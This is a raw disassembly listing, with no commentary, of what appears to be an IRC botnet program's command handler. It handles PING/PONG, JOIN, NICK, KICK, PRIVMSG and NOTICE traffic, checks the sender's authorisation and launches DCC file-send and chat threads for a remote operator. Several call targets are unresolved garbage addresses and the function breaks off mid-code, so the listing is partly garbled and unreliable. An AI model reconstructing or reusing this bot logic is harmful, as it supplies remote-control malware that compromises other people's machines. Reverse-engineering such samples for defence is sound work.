var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C2A0
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BD10
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BD70
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F6C
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BD10
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BD70
lea eax, [ebp+var_428C]
push offset asc_42CDD0 ; " :"
push eax
call sub_41C080
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BD70
mov esi, offset asc_42CDCC ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41C864
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401B9A: ; CODE XREF: sub_401AC7+E7j
push esi
push ebx
call sub_41C864
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401B9A
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F6C
cmp [ebp+var_8C], ebx
jz loc_401F6C
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BE8: ; CODE XREF: sub_401AC7+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C14
cmp byte ptr [eax], 2Dh
jnz short loc_401C1C
cmp [eax+2], bl
jnz short loc_401C1C
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C14: ; CODE XREF: sub_401AC7+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BE8
loc_401C1C: ; CODE XREF: sub_401AC7+12Aj
; sub_401AC7+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C27
mov [ebp+var_8], edi
loc_401C27: ; CODE XREF: sub_401AC7+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C35
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C35: ; CODE XREF: sub_401AC7+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C6F
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BD70
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BD70
lea eax, [ebp+var_C4]
push offset asc_42CDC8 ; "!"
push eax
call sub_41C864
add esp, 20h
loc_401C6F: ; CODE XREF: sub_401AC7+171j
push esi
push offset aPing ; "PING"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC0
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40981C
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D64
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40981C
add esp, 10h
jmp loc_401D64
; ---------------------------------------------------------------------------
loc_401CC0: ; CODE XREF: sub_401AC7+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4097D6
push esi
push offset a005 ; "005"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4097D6
push esi
push offset a302 ; "302"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2B
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D64
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BD70
add esp, 0Ch
jmp short loc_401D64
; ---------------------------------------------------------------------------
loc_401D2B: ; CODE XREF: sub_401AC7+238j
push esi
push offset a433 ; "433"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401D6B
push ebx
push dword_42909C
push dword_429098
push [ebp+arg_10]
call sub_40AE77
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40981C
add esp, 1Ch
loc_401D64: ; CODE XREF: sub_401AC7+1D8j
; sub_401AC7+1F4j ...
mov eax, edi
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_401D6B: ; CODE XREF: sub_401AC7+273j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D7D: ; CODE XREF: sub_401AC7+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401D9A
mov [ebp+var_A4], 1
loc_401D9A: ; CODE XREF: sub_401AC7+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D7D
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_401E91
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DC9: ; CODE XREF: sub_401AC7+38Fj
cmp [esi], bl
jz loc_401E51
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BD70
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E51
cmp [ebp+var_84], ebx
jz short loc_401E51
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401E51
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD5C
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40981C
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
add esp, 20h
loc_401E51: ; CODE XREF: sub_401AC7+304j
; sub_401AC7+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DC9
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_401F6C
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E84: ; CODE XREF: sub_401AC7+5F3j
; sub_401AC7+8B0j ...
push [ebp+arg_4]
call sub_40981C
jmp loc_404243
; ---------------------------------------------------------------------------
loc_401E91: ; CODE XREF: sub_401AC7+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_401FD4
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EBA: ; CODE XREF: sub_401AC7+445j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F07
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C720
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F07
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C620
push [ebp+arg_1C]
push edi
call sub_41C630
add esp, 10h
mov edi, 80h
loc_401F07: ; CODE XREF: sub_401AC7+404j
; sub_401AC7+41Bj
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EBA
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F6C
cmp [ebp+arg_24], ebx
jz short loc_401F6C
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F44
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BD70
jmp loc_40368F
; ---------------------------------------------------------------------------
loc_401F44: ; CODE XREF: sub_401AC7+469j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F49: ; CODE XREF: sub_401AC7+4A3j
cmp [edi], bl
jz short loc_401F60
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_401F74
loc_401F60: ; CODE XREF: sub_401AC7+484j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F49
loc_401F6C: ; CODE XREF: sub_401AC7+5Bj
; sub_401AC7+F1j ...
push 1
loc_401F6E: ; CODE XREF: sub_401AC7+2A2Ej
pop eax
loc_401F6F: ; CODE XREF: sub_401AC7+29Fj
; sub_401AC7+2A50j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F74: ; CODE XREF: sub_401AC7+497j
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C720
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F6C
push eax
call sub_41B960
push [ebp+arg_24]
mov edi, eax
call sub_41B960
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F6C
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C006
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409862
add esp, 24h
jmp short loc_401F6C
; ---------------------------------------------------------------------------
loc_401FD4: ; CODE XREF: sub_401AC7+3D9j
push esi
push offset aPart ; "PART"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_401FF6
push esi
push offset aQuit ; "QUIT"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40201D
loc_401FF6: ; CODE XREF: sub_401AC7+51Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401FFB: ; CODE XREF: sub_401AC7+554j
cmp [edi], bl
jz short loc_402011
push [ebp+var_90]
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_40205E
loc_402011: ; CODE XREF: sub_401AC7+536j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401FFB
loc_40201D: ; CODE XREF: sub_401AC7+52Dj
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4020BF
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402051
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402051: ; CODE XREF: sub_401AC7+57Fj
push [ebp+var_80]
push offset unk_42CD08
jmp loc_4097CA
; ---------------------------------------------------------------------------
loc_40205E: ; CODE XREF: sub_401AC7+548j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCE8
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C7E0
add esp, 18h
test eax, eax
jnz loc_401F6C
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E84
; ---------------------------------------------------------------------------
loc_4020BF: ; CODE XREF: sub_401AC7+56Aj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C7E0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402113
push [ebp+var_8C]
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_402113
push [ebp+var_8C]
push offset dword_42CCD4
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409643
cmp dword_429088, ebx
jz loc_409643
loc_402113: ; CODE XREF: sub_401AC7+612j
; sub_401AC7+624j
push [ebp+var_8C]
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_402293
push [ebp+var_8C]
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_402293
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402157: ; CODE XREF: sub_401AC7+888j
; sub_401AC7+8C4j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCCC
mov [ebp+arg_8], eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402529
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4023F3
cmp [ebp+var_A4], ebx
jz loc_4023CC
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C006
push [ebp+esi+var_84]
lea eax, [ebp+var_1B98]
push edi
push eax
call sub_41C006
push [ebp+esi+var_80]
call sub_41BEF9
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC90
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3AD
add esp, 44h
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset loc_416519
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz loc_4023BB
loc_40227D: ; CODE XREF: sub_401AC7+7CAj
cmp [ebp+var_19F0], ebx
jnz loc_40830C
push 32h
nop
call near ptr 268051Bh
jmp short loc_40227D
; ---------------------------------------------------------------------------
loc_402293: ; CODE XREF: sub_401AC7+65Cj
; sub_401AC7+672j
push [ebp+var_8C]
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4022AC
mov [ebp+var_4], 1
loc_4022AC: ; CODE XREF: sub_401AC7+7DCj
cmp [ebp+var_88], ebx
jz loc_401F6C
push offset dword_42CC8C
push [ebp+var_88]
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_4022D3
cmp [ebp+var_4], ebx
jz short loc_4022DF
loc_4022D3: ; CODE XREF: sub_401AC7+805j
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022DF: ; CODE XREF: sub_401AC7+80Aj
cmp [ebp+var_84], ebx
jz loc_401F6C
inc [ebp+var_84]
jz short loc_40232B
cmp [ebp+arg_10], ebx
jz short loc_40232B
lea eax, [ebp+var_338]
push eax
call sub_41B960
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C5E0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402331
; ---------------------------------------------------------------------------
loc_40232B: ; CODE XREF: sub_401AC7+82Aj
; sub_401AC7+82Fj
mov esi, [ebp+var_AC]
loc_402331: ; CODE XREF: sub_401AC7+862j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F6C
push edi
push offset dword_42CC80
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402157
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40237C
mov eax, dword_4C91B8
mov eax, off_429164[eax*4]
cmp [eax], bl
jz short loc_40237C
push eax
push ecx
push offset dword_42CC64
jmp loc_401E84
; ---------------------------------------------------------------------------
loc_40237C: ; CODE XREF: sub_401AC7+897j
; sub_401AC7+8A7j
push edi
push offset dword_42CC5C
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402157
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402157
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402157
push eax
push ecx
push offset dword_42CC44
jmp loc_401E84
; ---------------------------------------------------------------------------
loc_4023BB: ; CODE XREF: sub_401AC7+7B0j
; sub_401AC7+76CCj
call near ptr 2680DCDh
nop
push eax
push offset unk_42CC08
jmp loc_4082FD
; ---------------------------------------------------------------------------
loc_4023CC: ; CODE XREF: sub_401AC7+6DAj
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset unk_42CBC4
push eax
call sub_41C006
add esp, 10h
jmp loc_40830C
; ---------------------------------------------------------------------------
loc_4023F3: ; CODE XREF: sub_401AC7+6CEj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40253F
cmp [ebp+var_A4], ebx
jz loc_402518
push 1Bh
call sub_40B5F5
test eax, eax
pop ecx
jnz loc_402507
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_1 ; "%s"
push eax
call sub_41C006
push [ebp+esi+var_80]
call sub_41BEF9
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB9C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3AD
add esp, 34h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset word_415FB6
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4024F6
loc_4024E0: ; CODE XREF: sub_401AC7+A2Dj
cmp [ebp+var_2904], ebx
jnz loc_40830C
push 32h
call near ptr 268051Bh
nop
jmp short loc_4024E0
; ---------------------------------------------------------------------------
loc_4024F6: ; CODE XREF: sub_401AC7+A17j
nop
call near ptr 2680DCDh
push eax
push offset unk_42CB64
jmp loc_4082FD
; ---------------------------------------------------------------------------
loc_402507: ; CODE XREF: sub_401AC7+95Dj
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB34
jmp loc_4082FD
; ---------------------------------------------------------------------------
loc_402518: ; CODE XREF: sub_401AC7+94Dj
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB00
jmp loc_4082FD
; ---------------------------------------------------------------------------
loc_402529: ; CODE XREF: sub_401AC7+6B3j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429090
mov [edi], ecx
jnz loc_401F6C
loc_40253F: ; CODE XREF: sub_401AC7+941j
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aC ; "c"
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40964B
push [ebp+arg_8]
push edi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_40964B
cmp [ebp+var_A4], ebx
jnz short loc_40258F
push [ebp+var_8C]
push offset dword_42CCD4
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409643
loc_40258F: ; CODE XREF: sub_401AC7+AACj
cmp [ebp+arg_28], ebx
jnz loc_409643
xor edi, edi
cmp dword_4294D0, ebx
jle loc_402744
mov [ebp+arg_20], offset dword_43B4C0
loc_4025AD: ; CODE XREF: sub_401AC7+B05j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4025D3
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294D0
jl short loc_4025AD
jmp loc_402744
; ---------------------------------------------------------------------------
loc_4025D3: ; CODE XREF: sub_401AC7+AF5j
push offset asc_42CDD0 ; " :"
push [ebp+arg_0]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F6C
mov cl, byte_429090
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429090
mov [eax+3], cl
lea ecx, dword_43B4D8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BD70
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402628: ; CODE XREF: sub_401AC7+C12j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41C006
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C080
add esp, 14h
test eax, eax
jz short loc_402694
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_402694
lea eax, dword_43B4C0[edi]
push eax
call sub_41B960
add [ebp+var_C], eax
pop ecx
jz short loc_4026CF
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026CF
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4183EC
add esp, 0Ch
jmp short loc_4026CF
; ---------------------------------------------------------------------------
loc_402694: ; CODE XREF: sub_401AC7+B89j
; sub_401AC7+B90j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026CF
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BD70
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4183EC
add esp, 18h
loc_4026CF: ; CODE XREF: sub_401AC7+BA2j
; sub_401AC7+BB6j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402628
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026EC: ; CODE XREF: sub_401AC7+C71j
push [ebp+arg_20]
